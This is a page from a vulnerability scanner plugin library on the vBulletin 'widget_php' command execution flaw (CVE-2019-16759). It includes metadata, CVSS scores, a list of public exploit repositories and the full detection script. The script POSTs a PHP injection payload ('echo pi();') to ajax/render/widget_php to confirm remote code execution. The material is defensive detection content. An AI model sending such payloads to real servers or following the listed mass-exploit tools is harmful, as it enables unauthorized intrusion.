vBulletin 'widget_php' Command Execution - Nessus

Critical   Plugin ID: 130168

This page contains detailed information about the vBulletin 'widget_php' Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 130168
Name: vBulletin 'widget_php' Command Execution
Filename: vbulletin_widget_php_cmd_exec.nasl
Vulnerability Published: 2019-09-23
This Plugin Published: 2019-10-23
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: vbulletin_detect.nasl
Required KB Items [?]: www/vBulletin

Vulnerability Information


Severity: Critical
Vulnerability Published: 2019-09-23
Patch Published: 2019-09-29
CVE [?]: CVE-2019-16759
CPE [?]: cpe:/a:vbulletin:vbulletin

Synopsis

A bulletin board system running on the remote web server has a command execution vulnerability.

Description

The version of vBulletin running on the remote host is affected by an input-validation flaw in the 'widgetConfig' parameter to the script 'ajax/render/widget_php' that allows command execution.

Solution

Upgrade to vBulletin 5.5.4 P1 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the vBulletin 'widget_php' Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/vbulletin_widgetconfig_rce
    [vBulletin widgetConfig RCE]
  2. Metasploit: exploit/multi/http/vbulletin_widget_template_rce
    [vBulletin 5.x /ajax/render/widget_tabbedcontainer_tab_panel PHP remote code execution.]
  3. Exploit-DB: exploits/php/webapps/47437.rb
    [EDB-47437: vBulletin 5.x - Remote Command Execution (Metasploit)]
  4. Exploit-DB: exploits/php/webapps/48743.txt
    [EDB-48743: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution]
  5. GitHub: https://github.com/Mr-xn/Penetration_Testing_POC
    [CVE-2019-16759]
  6. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2019-16759]
  7. GitHub: https://github.com/amcai/myscan
    [CVE-2019-16759]
  8. GitHub: https://github.com/apidotmy/CVE-2019-16759
    [CVE-2019-16759: Vbulletin RCE Exploits]
  9. GitHub: https://github.com/ardzz/vbulletin-bot
    [CVE-2019-16759]
  10. GitHub: https://github.com/chalern/Pentest-Tools
    [CVE-2019-16759]
  11. GitHub: https://github.com/huyanshuhan/NekoBotV1
    [CVE-2019-16759]
  12. GitHub: https://github.com/jd-961/CVE-2019-16759-bypass
    [CVE-2019-16759]
  13. GitHub: https://github.com/ludy-dev/vBulletin_Routestring-RCE
    [CVE-2019-16759: (CVE-2019-16759) vBulletin_Routestring-RCE]
  14. GitHub: https://github.com/nako48/CVE-2019-16759
    [CVE-2019-16759: Vbulletin RCE Exploit]
  15. GitHub: https://github.com/p0megranate/makura
    [CVE-2019-16759]
  16. GitHub: https://github.com/polar1s7/CVE-2019-16759-bypass
    [CVE-2019-16759]
  17. GitHub: https://github.com/sunian19/CVE-2019-16759
    [CVE-2019-16759]
  18. GitHub: https://github.com/ugur-ercan/exploit-collection
    [CVE-2019-16759]
  19. GitHub: https://github.com/andripwn/pwn-vbulletin
    [CVE-2019-16759: Identify vulnerable (RCE) vBulletin 5.0.0 - 5.5.4 instances using Shodan ...]
  20. GitHub: https://github.com/FarjaalAhmad/CVE-2019-16759
    [CVE-2019-16759: Interactive-Like Command-Line Console for CVE-2019-16759]
  21. GitHub: https://github.com/M0sterHxck/CVE-2019-16759-Vbulletin-rce-exploit
    [CVE-2019-16759: Vbulletin rce exploit CVE-2019-16759]
  22. GitHub: https://github.com/mas1337/CVE-2019-16759
    [CVE-2019-16759: This tools will extracts and dumps Email + SMTP from vBulletin database server]
  23. GitHub: https://github.com/psychoxploit/vbull
    [CVE-2019-16759: Mass Exploit CVE-2019-16759]
  24. GitHub: https://github.com/r00tpgp/http-vuln-CVE-2019-16759
    [CVE-2019-16759: Nmap NSE Script to Detect vBulletin pre-auth 5.x RCE CVE-2019-16759]
  25. GitHub: https://github.com/theLSA/vbulletin5-rce
    [CVE-2019-16759: CVE-2019-16759 vbulletin 5.0.0 till 5.5.4 pre-auth rce]
  26. GitHub: https://github.com/jas502n/CVE-2019-16759
    [CVE-2019-16759: VBulletin 5.x 未授权远程代码执行漏洞]
  27. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2019-16759
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.5 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.4 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.4 (Critical)

Go back to menu.

Plugin Source


This is the vbulletin_widget_php_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#                                                                     
# (C) Tenable Network Security, Inc.                                  
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(130168);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2019-16759");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");

  script_name(english:"vBulletin 'widget_php' Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"A bulletin board system running on the remote web server has a
command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of vBulletin running on the remote host is affected by an
input-validation flaw in the 'widgetConfig' parameter to the script
'ajax/render/widget_php' that allows command execution.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2019/Sep/31");
  script_set_attribute(attribute:"solution", value:
"Upgrade to vBulletin 5.5.4 P1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16759");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'vBulletin widgetConfig RCE');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/23");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/09/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:vbulletin:vbulletin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("vbulletin_detect.nasl");
  script_require_keys("www/vBulletin");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port    = get_http_port(default:80);
install = get_kb_item_or_exit('www/'+port+'/vBulletin');

matches = pregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!matches)
  audit(AUDIT_WEB_APP_NOT_INST, "vBulletin", port);

dir = matches[2];

if (dir !~ '/$')
  dir = dir + '/';

url = dir + 'ajax/render/widget_php';

res = http_send_recv3(
  method:'POST',
  item:url,
  data:'widgetConfig[code]=echo pi();',
  add_headers:make_array('Content-Type', 'application/x-www-form-urlencoded'),
  port:port,
  exit_on_fail:TRUE
);

if ("3.14159265358" >!< res[2])
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "vBulletin", build_url(port:port,qs:dir));

pi_pos = stridx(res[2], "3.14159265358");
res_proof = substr(res[2], pi_pos - 100, pi_pos + 100);

report = get_vuln_report(
  items:http_last_sent_request(),
  port:port,
  trailer:'\n' +
          'The above request resulted in the following output :' +
          '\n\n' +
          res_proof
);

security_report_v4(port:port, extra:report, severity:SECURITY_HOLE);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/vbulletin_widget_php_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\vbulletin_widget_php_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/vbulletin_widget_php_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the vBulletin 'widget_php' Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select vBulletin 'widget_php' Command Execution plugin ID 130168.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl vbulletin_widget_php_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a vbulletin_widget_php_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - vbulletin_widget_php_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state vbulletin_widget_php_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


See also: Similar and related Nessus plugins:
  • 139457 - vBulletin CVE-2019-16759 Bypass Remote Code Execution (CVE-2020-17496) (direct check)
  • 17211 - vBulletin misc.php template Parameter PHP Code Injection
  • 136613 - vBulletin 'getIndexableContent' SQL Injection (direct check)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file vbulletin_widget_php_cmd_exec.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.